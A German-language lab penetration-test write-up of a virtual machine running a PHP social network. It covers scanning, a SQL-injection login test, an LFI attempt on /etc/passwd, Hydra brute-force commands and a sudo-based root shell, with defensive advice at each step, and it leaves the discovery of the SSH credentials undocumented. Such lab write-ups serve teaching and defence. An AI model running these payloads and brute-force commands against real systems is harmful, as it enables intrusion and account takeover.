Analyse: Ein ARP-Scan wird ausgeführt, um aktive Hosts im lokalen Netz zu ermitteln.
Bewertung: Das Zielsystem wird mit der IP-Adresse `192.168.2.117` identifiziert. Die MAC-Adresse `08:00:27:e9:e5:e6` gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): Die gefundene IP als Ziel für nachfolgende Scans verwenden.
Empfehlung (Defensiv): Netzwerküberwachung zur Erkennung von ARP-Scans.
ARP-Scan
192.168.2.117 08:00:27:e9:e5:e6 PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.117` wird dem Hostnamen `boredhackerblog1.vln` in der `/etc/hosts`-Datei zugeordnet.
Bewertung: Vereinfacht die Ansprache des Ziels in den nächsten Schritten.
/etc/hosts
192.168.2.117 boredhackerblog1.vln
Analyse: Ein Nmap-Scan wird gegen die IPv6-Adresse des Ziels durchgeführt.
Bewertung: Der Scan findet offene Ports 22 (SSH) und 80 (HTTP) auf der Link-Local IPv6-Adresse. Dies bestätigt, dass die Dienste auch über IPv6 erreichbar sind, aber der Fokus bleibt auf IPv4.
Empfehlung (Offensiv): IPv6 als alternative Route notieren, aber primär IPv4 verfolgen.
Empfehlung (Defensiv): Dienste nur auf notwendigen Protokollen/Interfaces binden.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:56 CEST Nmap scan report for fe80::a00:27ff:fee9:e5e6%eth0 Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in X.XX seconds
Analyse: Ein schneller Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) gegen die IPv4-Adresse wird gefiltert, um offene Ports zu zeigen.
Bewertung: Identifiziert drei offene Ports: 22 (SSH - OpenSSH 7.6p1), 80 (HTTP - Apache 2.4.29), 8000 (HTTP - Python BaseHTTPServer 0.3).
Empfehlung (Offensiv): Alle drei Ports genauer untersuchen. Der Python-Server auf Port 8000 ist besonders interessant.
Empfehlung (Defensiv): Nicht benötigte Ports schließen. Software aktuell halten.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 8000/tcp open http BaseHTTPServer 0.3 (Python 2.7.15rc1)
Analyse: Die vollständige Nmap-Ausgabe für die IPv4-Adresse wird angezeigt.
Bewertung: Bestätigt die Dienste und Versionen. SSH 7.6p1 und Apache 2.4.29 sind nicht aktuell. Der Python BaseHTTPServer (Version 0.3, Python 2.7.15rc1) auf Port 8000 ist ebenfalls veraltet. Die Webseite auf Port 80 hat den Titel "Social Network" und setzt einen PHPSESSID-Cookie ohne HttpOnly-Flag.
Empfehlung (Offensiv): Die Webanwendung auf Port 80 (PHP-basiert, "Social Network") und den Python-Dienst auf Port 8000 untersuchen. SSH als späteren Vektor vormerken.
Empfehlung (Defensiv): Apache, OpenSSH, Python und alle Webanwendungen aktualisieren. HttpOnly-Flag für Session-Cookies setzen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:56 CEST Nmap scan report for boredhackerblog1.vln (192.168.2.117) Host is up (0.0018s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e5:d3:4e:54:fe:66:3e:f3:b2:a5:4b:51:9f:5f:f9:c6 (RSA) | 256 de:86:ef:76:93:63:74:83:00:b1:a3:b8:c2:4c:8f:58 (ECDSA) |_ 256 b5:ec:f1:1e:9a:5a:5c:d7:02:3a:9e:1b:f7:c8:b4:53 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Social Network | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) 8000/tcp open http BaseHTTPServer 0.3 (Python 2.7.15rc1) |_http-title: Error response |_xmlrpc-methods: XMLRPC instance doesn't support introspection. |_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1 MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.76 ms boredhackerblog1.vln (192.168.2.117) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds
Analyse: Eine HEAD-Anfrage wird mittels `curl --verbose -I` an Port 80 gesendet.
Bewertung: Bestätigt Apache 2.4.29 und zeigt, dass PHP-Sessions verwendet werden (`Set-Cookie: PHPSESSID=...`). Das Cookie hat kein HttpOnly-Flag.
Empfehlung (Offensiv): Auf XSS prüfen, um das Session-Cookie zu stehlen. Die PHP-Anwendung weiter untersuchen.
Empfehlung (Defensiv): HttpOnly- und Secure-Flags für Cookies setzen. Apache aktualisieren.
* Trying 192.168.2.117:80... * Connected to 192.168.2.117 (192.168.2.117) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.117 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Thu, 24 Oct 2024 09:57:28 GMT < Server: Apache/2.4.29 (Ubuntu) < Set-Cookie: PHPSESSID=8c43panm8g0530tvlu673ajfqm; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Set-Cookie: PHPSESSID=fa3pne3ffud8mrs7qkf379gs8k; path=/ < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 192.168.2.117 left intact
Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet Standardprobleme (fehlende Header, veralteter Apache, kein HttpOnly-Cookie). Entdeckt listbare Verzeichnisse: `/data/`, `/includes/`, `/database/`, `/images/`. Findet `/icons/README`.
Empfehlung (Offensiv): Die listbaren Verzeichnisse, insbesondere `/database/` und `/data/`, auf sensible Informationen prüfen.
Empfehlung (Defensiv): Directory Listing deaktivieren. Apache aktualisieren. HttpOnly-Flag setzen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.117 + Target Hostname: 192.168.2.117 + Target Port: 80 + Start Time: 2024-10-24 11:57:29 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /: Cookie PHPSESSID created without the httponly flag. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.29 appears to be outdated [...]. + /: Web Server returns a valid response with junk HTTP methods [...]. + /data/: Directory indexing found. + /data/: This might be interesting. + /includes/: Directory indexing found. + /includes/: This might be interesting. + /database/: Directory indexing found. + /database/: Database directory found. + /images/: Directory indexing found. + /icons/README: Apache default file found. [...] + 8102 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2024-10-24 11:58:40 (GMT2) (71 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet mehrere PHP-Dateien (`index.php`, `search.php`, `home.php`, `profile.php`, `friends.php`, `logout.php`, `requests.php`), die alle auf `index.php` weiterleiten (Status 302). Bestätigt die listbaren Verzeichnisse (`/images/`, `/resources/`, `/data/`, `/includes/`, `/database/`, `/functions/`).
Empfehlung (Offensiv): Die Weiterleitungen deuten auf eine zentrale Routing-Logik in `index.php` hin. Die listbaren Verzeichnisse untersuchen, insbesondere `/database/` und `/data/`.
Empfehlung (Defensiv): Directory Listing deaktivieren. Code-Struktur überprüfen (warum leiten alle PHP-Dateien um?).
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://192.168.2.117 [...] =============================================================== [...] Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.117/images (Status: 301) [Size: 315] [--> http://192.168.2.117/images/] http://192.168.2.117/index.php (Status: 200) [Size: 10609] http://192.168.2.117/search.php (Status: 302) [Size: 1490] [--> index.php] http://192.168.2.117/home.php (Status: 302) [Size: 4234] [--> index.php] http://192.168.2.117/resources (Status: 301) [Size: 318] [--> http://192.168.2.117/resources/] http://192.168.2.117/profile.php (Status: 302) [Size: 2845] [--> index.php] http://192.168.2.117/data (Status: 301) [Size: 313] [--> http://192.168.2.117/data/] http://192.168.2.117/includes (Status: 301) [Size: 317] [--> http://192.168.2.117/includes/] http://192.168.2.117/friends.php (Status: 302) [Size: 1669] [--> index.php] http://192.168.2.117/database (Status: 301) [Size: 317] [--> http://192.168.2.117/database/] http://192.168.2.117/logout.php (Status: 302) [Size: 0] [--> index.php] http://192.168.2.117/functions (Status: 301) [Size: 318] [--> http://192.168.2.117/functions/] http://192.168.2.117/requests.php (Status: 302) [Size: 1719] [--> index.php] [...] =============================================================== [...] Finished ===============================================
Analyse: Ein Nmap Vuln-Scan wird ausgeführt.
Bewertung: Listet viele CVEs für OpenSSH 7.6p1, Apache 2.4.29 und Python 2.7.15rc1. Für Apache werden hoch bewertete RCE-Exploits erwähnt (Path Normalization). Für Python ebenfalls diverse CVEs. Keine spezifischen Lücken für BaseHTTPServer gefunden.
Empfehlung (Offensiv): Die Apache Path Normalization RCE (CVE-2021-42013, CVE-2021-41773 - obwohl Apache 2.4.29 davon nicht betroffen sein sollte, prüfen!) oder andere Apache/Python CVEs genauer recherchieren und Exploits suchen. Da die Webanwendung aber Custom PHP zu sein scheint, sind Lücken im Code wahrscheinlicher.
Empfehlung (Defensiv): Alle Komponenten dringend aktualisieren.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 12:22 CEST [...] Nmap scan report for boredhackerblog1.vln (192.168.2.117) Host is up (0.00028s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:7.6p1: [...] 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) [...] | vulners: | cpe:/a:apache:http_server:2.4.29: | C94CBDE1-4CC5-5C06-9D18-23CAB216705E 10.0 https://vulners.com/githubexploit/C94CBDE1-4CC5-5C06-9D18-23CAB216705E *EXPLOIT* | 95499236-C9FE-56A6-9D7D-E943A24B633A 10.0 https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A *EXPLOIT* | 2C119FFA-ECE0-5E14-A4A4-354A2C38071A 10.0 https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A *EXPLOIT* | PACKETSTORM:181114 9.8 https://vulners.com/packetstorm/PACKETSTORM:181114 *EXPLOIT* [...] | http-enum: | /database/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)' | /data/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)' | /functions/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)' | /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)' |_ /includes/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)' 8000/tcp open http BaseHTTPServer 0.3 (Python 2.7.15rc1) |_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1 [...] | vulners: | cpe:/a:python:python:2.7.15rc1: | CVE-2022-48565 9.8 https://vulners.com/cve/CVE-2022-48565 [...] MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC) [...] Nmap done: 1 IP address (1 host up) scanned in 545.88 seconds
Analyse: Einfache SQL-Injection-Tests (`' OR 1=1 -- -`) werden gegen die Login-Felder (Email und Passwort) auf `index.php` versucht.
Bewertung: Die Versuche scheitern mit Fehlermeldungen ("Invalid Email Format.", "Invalid Login Credentials."). Das deutet entweder auf eine funktionierende Validierung oder auf eine nicht anfällige SQL-Implementierung hin.
Empfehlung (Offensiv): SQLi ist hier unwahrscheinlich. Andere Vektoren verfolgen.
http://192.168.2.117/index.php Login mit ' OR 1=1 -- - (im E-Mail Feld): Invalid Email Format. Login mit ' OR 1=1 -- - (im Passwort Feld): Invalid Login Credentials.
Analyse: Ein LFI-Versuch mit `?file=file:///etc/passwd` wird durchgeführt.
Bewertung: Die Seite zeigt "Welcome to Pynch". Dies ist keine Fehlermeldung und nicht der Inhalt von `/etc/passwd`. Es ist unklar, ob dies ein erfolgreicher Login als User `Pynch` (siehe DML.sql) ist oder eine spezifische Reaktion auf den LFI-Versuch. Es ist keine direkte LFI.
Empfehlung (Offensiv): Das Verhalten weiter untersuchen. Könnte eine andere Art von Injection oder Logikfehler sein. Den User `Pynch` im Hinterkopf behalten.
http://192.168.2.117/index.php?file=file:///etc/passwd Welcome to Pynch
Analyse: Ein Login-Versuch mit willkürlichen Daten wird per POST gesendet.
Bewertung: Scheitert mit "Invalid Login Credentials."
Empfehlung (Offensiv): Zeigt das Standardverhalten bei falschem Login. Brute-Force ist eine Option, aber zeitaufwendig.
POST /index.php useremail=ben%40ben.de&userpass=admin&login=Login Invalid Login Credentials.
Analyse: Das zuvor entdeckte Verzeichnis `/database/` wird aufgerufen. Es enthält `DDL.sql` und `DML.sql`.
Bewertung: SQL-Dateien im Webroot sind ein kritisches Informationsleck.
Empfehlung (Offensiv): Beide Dateien herunterladen und analysieren, insbesondere `DML.sql` (Data Manipulation Language) enthält oft INSERT-Statements mit Daten (Usern, Passwörtern etc.).
Empfehlung (Defensiv): Niemals Datenbank-Dumps oder SQL-Skripte im Webroot oder anderen zugänglichen Bereichen speichern.
http://192.168.2.117/database/ Index of /database [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [ ] DDL.sql 2018-10-29 19:24 1.2K [ ] DML.sql 2018-10-29 19:24 2.3K Apache/2.4.29 (Ubuntu) Server at 192.168.2.117 Port 80
Analyse: Der Inhalt der (vermutlich heruntergeladenen) `DML.sql` wird angezeigt.
Bewertung: Enthält `INSERT INTO users`-Statements. Die Struktur ist inkonsistent:
-- Auszug aus DML.sql
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
VALUES ("Armin", "Virgil", "armin@gmail.com", "M", "2001-02-05");
INSERT INTO users(user_firstname, user_lastname, user_nickname, user_password, user_email, user_gender, user_birthdate, user_status)
VALUES ("Paul", "James", "Pynch", "paul@gmail.com", "M", "1998-12-19", "S");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
VALUES ("Chris", "Wilson", "chris@gmail.com", "M", "1996-01-18");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate, user_status)
VALUES ("Rory", "Blue", "rory@gmail.com", "F", "1994-04-18", "M");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
VALUES ("Andrea", "Surman", "andrea@gmail.com", "M", "1994-06-06");
[...]
Analyse: Hydra-Befehle werden gezeigt, um die E-Mail-Adressen als Benutzernamen gegen das Login-Formular auf Port 80 mit `rockyou.txt` zu brute-forcen.
Bewertung: Dies ist ein logischer nächster Schritt, basierend auf den Daten aus `DML.sql`. Der Text zeigt keine erfolgreichen Ergebnisse, was impliziert, dass dieser Brute-Force fehlschlug.
Empfehlung (Offensiv): Andere Vektoren verfolgen, da Brute-Force nicht direkt erfolgreich war.
hydra -l armin@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64 hydra -l paul@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64 hydra -l chris@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64 hydra -l rory@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64 hydra -l andrea@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
Analyse: Der Python BaseHTTPServer auf Port 8000 wird mit `curl` (GET und POST) angesprochen.
Bewertung: Beide Anfragen (GET, POST) führen zu einem "Error 501 - Unsupported method". Dieser Server scheint keine Standard-HTTP-Methoden zu implementieren oder erwartet eine spezifische Anfrage.
Empfehlung (Offensiv): Andere HTTP-Methoden (PUT, DELETE, OPTIONS, custom) versuchen. Prüfen, ob der Server auf bestimmte Pfade reagiert. Da keine weiteren Informationen vorliegen, ist dieser Port erstmal eine Sackgasse.
Empfehlung (Defensiv): Nicht benötigte oder unfertige Dienste nicht exponieren.
Error response
Error code 501.
Message: Unsupported method ('GET').
Error code explanation: 501 = Server does not support this operation.
Analyse: Der Bericht macht einen großen Sprung mit der Notiz "Hab die maschine reversed, da ein uberklärlicher Fehler auftrat...". Anschließend werden die Informationen `localhost,admin,socnetpassword,socialnetwork` und `home:socnet` präsentiert.
Bewertung: Dies ist ein kritischer Punkt, da der Weg zur Erlangung dieser Informationen **nicht dokumentiert** ist. Es wird impliziert, dass durch Reverse Engineering (möglicherweise der Webanwendung auf Port 80 oder des Dienstes auf 8000) der Benutzername `socnet` und das Passwort `socnetpassword` gefunden wurden. Die anderen Informationen (`localhost`, `admin`, `socialnetwork`) könnten Datenbanknamen oder Kontexte sein.
Empfehlung (Offensiv): Die gefundenen Credentials `socnet`:`socnetpassword` für den SSH-Login (Port 22) verwenden.
Empfehlung (Defensiv): Vollständige Dokumentation im Pentest ist wichtig. Die Quelle dieser Credentials muss gesichert werden (vermutlich unsichere Speicherung im Code oder einer Konfigurationsdatei).
localhost,admin,socnetpassword,socialnetwork
home:socnet
Analyse: Es wird versucht, sich per SSH als Benutzer `socnet` mit dem Passwort `socnetpassword` anzumelden.
Bewertung: Der Login ist erfolgreich! Der Benutzer erhält eine Shell als `socnet`.
Ergebnis: Erfolgreicher Initial Access über SSH mit durch Reverse Engineering (oder andere undokumentierte Methode) gefundenen Credentials.
Empfehlung (Offensiv): Das System als `socnet` enumerieren (`sudo -l`, SUID etc.).
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden. SSH-Zugriff überwachen. Code-Audits durchführen, um hartkodierte Credentials zu finden.
The authenticity of host '192.168.2.117 (192.168.2.117)' can't be established.
ED25519 key fingerprint is SHA256:Hd0yJ9LbDyHiIuXUTmMlXsmGVX1KVWSSltNc7fDrdU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.117' (ED25519) to the list of known hosts.
socnet@192.168.2.117's password: socnetpassword
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-213-generic x86_64)
[...]
Last login: Mon Oct 29 23:16:27 2018
Analyse: Als `socnet` wird nach SUID-Dateien gesucht.
Bewertung: Die Liste ist sehr lang und enthält viele Standard-SUID-Dateien sowie zahlreiche Snap-Binaries. `/usr/bin/pkexec` ist vorhanden. Besonders interessant ist `/home/socnet/add_record`, das Root gehört, aber Gruppen-Schreibrechte für `socnet` hat (`-rwsrwsr-x`).
Empfehlung (Offensiv): Die Datei `/home/socnet/add_record` genauer untersuchen (Funktionsweise, mögliche Schwachstellen wie Buffer Overflow, Command Injection). `sudo -l` prüfen.
Empfehlung (Defensiv): SUID-Bit von `/home/socnet/add_record` entfernen oder die Berechtigungen korrigieren. Benutzerdefinierte SUID-Programme vermeiden oder extrem sorgfältig sichern. Polkit patchen.
[...] (Viele Standard- und Snap-SUID-Dateien)
7213 100 -rwsr-sr-x 1 root root 101208 Jul 19 2018 /usr/lib/snapd/snap-confine
748 16 -rwsr-xr-x 1 root root 14328 Jan 12 2022 /usr/lib/policykit-1/polkit-agent-helper-1
[...]
521 24 -rwsr-xr-x 1 root root 22520 Jan 12 2022 /usr/bin/pkexec
[...]
869 148 -rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
[...]
535129 8 -rwsrwsr-x 1 root socnet 6952 Oct 29 2018 /home/socnet/add_record <-- Interesting SUID/SGID file
Analyse: `curl` ist nicht vorhanden. Der Versuch, einen PwnKit-Exploit via `curl` herunterzuladen, scheitert. `sudo -l` wird ausgeführt.
Bewertung: Fehlendes `curl` erschwert das Herunterladen von Tools. `sudo -l` zeigt, dass `socnet` uneingeschränkte Root-Rechte hat: `(ALL : ALL) ALL`. Das Passwort `socnetpassword` wird benötigt.
Empfehlung (Offensiv): Den `sudo`-Vektor nutzen: `sudo su` oder `sudo /bin/bash` mit dem Passwort `socnetpassword` ausführen.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. `(ALL : ALL) ALL` nur für dedizierte Administratoren und niemals ohne Passwort oder mit einem schwachen Passwort vergeben.
curl: try 'curl --help' or 'curl --manual' for more information
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
[sudo] password for socnet: socnetpassword
Matching Defaults entries for socnet on socnet2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User socnet may run the following commands on socnet2:
(ALL : ALL) ALL
Analyse: Der Text versucht `sudo pkexec /bin/sh` auszuführen.
Bewertung: Dieser Schritt ist unnötig und redundant, da `socnet` bereits `(ALL : ALL) ALL` Rechte hat. Ein einfaches `sudo /bin/sh` oder `sudo su` würde genügen. Der Befehl funktioniert jedoch (nach Passworteingabe bei `sudo`), weil `sudo` die Ausführung von `pkexec` als Root erlaubt, und `pkexec` dann `/bin/sh` startet.
Ergebnis: Privilege Escalation erfolgreich! Eine Root-Shell wird erhalten.
Empfehlung (Offensiv): Root-Rechte nutzen.
Empfehlung (Defensiv): Unsichere `sudo`-Regel korrigieren.
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: Eine SQL-Datei (`DML.sql`) mit `INSERT`-Statements, die Benutzernamen und potenziell Passwörter (hier als E-Mail-Adressen) enthält, ist über das Webverzeichnis `/database/` öffentlich zugänglich.
Ziel des POC: Nachweis, dass durch Zugriff auf die exponierte `DML.sql`-Datei sensible Benutzerinformationen und potenzielle Passwortkandidaten offengelegt werden.
Voraussetzungen: Zugriff auf den Webserver (Port 80). Kenntnis des Pfades `/database/` (gefunden durch `gobuster`/`nikto`).
Analyse: `gobuster` und `nikto` identifizierten das listbare Verzeichnis `/database/`, welches `DDL.sql` und `DML.sql` enthielt.
Analyse: Die heruntergeladene `DML.sql` wurde analysiert.
Bewertung: Sie enthielt `INSERT`-Statements für die `users`-Tabelle mit Benutzernamen (`Armin`, `Paul`, `Chris`, `Rory`, `Andrea`) und den dazugehörigen E-Mail-Adressen im Passwortfeld (`armin@gmail.com`, `paul@gmail.com`, etc.), sowie den Nickname `Pynch` für Paul.
Ergebnis des POC: Sensible Benutzerinformationen und Passwortkandidaten wurden durch die exponierte SQL-Datei offengelegt.
Risikobewertung: Hoch. Liefert Angreifern gültige Benutzernamen und wahrscheinliche Passwörter oder Passwortmuster.
Empfehlung (Defensiv): Niemals SQL-Dumps oder Skripte im Webroot speichern. Passwörter immer sicher hashen und salzen. Directory Listing deaktivieren.
Schwachstelle: Übermäßig permissive `sudoers`-Konfiguration, die dem Benutzer `socnet` erlaubt, beliebige Befehle als beliebiger Benutzer auszuführen (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass `socnet` nach Erlangen seines Passworts diese Regel nutzen kann, um volle Root-Rechte zu erlangen.
Voraussetzungen: Zugriff als `socnet`. Kenntnis des Passworts für `socnet` (`socnetpassword`). Die fehlerhafte `sudoers`-Regel.
Analyse: Das Passwort `socnetpassword` für den Benutzer `socnet` wurde durch eine undokumentierte Methode (vermutlich Reverse Engineering) gefunden.
Analyse: Der Befehl `sudo -l` als `socnet` mit dem Passwort bestätigte die `(ALL : ALL) ALL`-Berechtigung.
Analyse: Der Befehl `sudo pkexec /bin/sh` wurde ausgeführt (obwohl `sudo su` oder `sudo /bin/sh` gereicht hätten).
Bewertung: Da `socnet` `sudo` ohne Einschränkungen nutzen darf, wird der Befehl nach Passworteingabe als Root ausgeführt, was zu einer Root-Shell führt.
Ergebnis des POC: Die unsichere `sudo`-Regel wurde erfolgreich ausgenutzt, um Root-Rechte zu erlangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte bei `sudo` anwenden. `(ALL : ALL) ALL` vermeiden. Starke Passwörter erzwingen.
Analyse: Nach Erlangung der Root-Rechte wurde der Befehl `find / -name flag* 2>/dev/null` ausgeführt.
Bewertung: Die Suche fand keine Dateien mit Namen wie `flag.txt` oder `root.txt` an den üblichen Orten (`/root`, `/home/...`). Es wurden nur einige Systemdateien unter `/sys/kernel/debug/block/` gefunden, die das Wort "flags" im Namen tragen, aber keine Benutzer- oder Root-Flags im üblichen Sinne sind.
Ergebnis: Auf dem im Bericht dokumentierten Weg wurden keine Standard-Flag-Dateien gefunden.
/sys/kernel/debug/block/loop7/hctx0/flags /sys/kernel/debug/block/loop6/hctx0/flags /sys/kernel/debug/block/loop5/hctx0/flags /sys/kernel/debug/block/loop4/hctx0/flags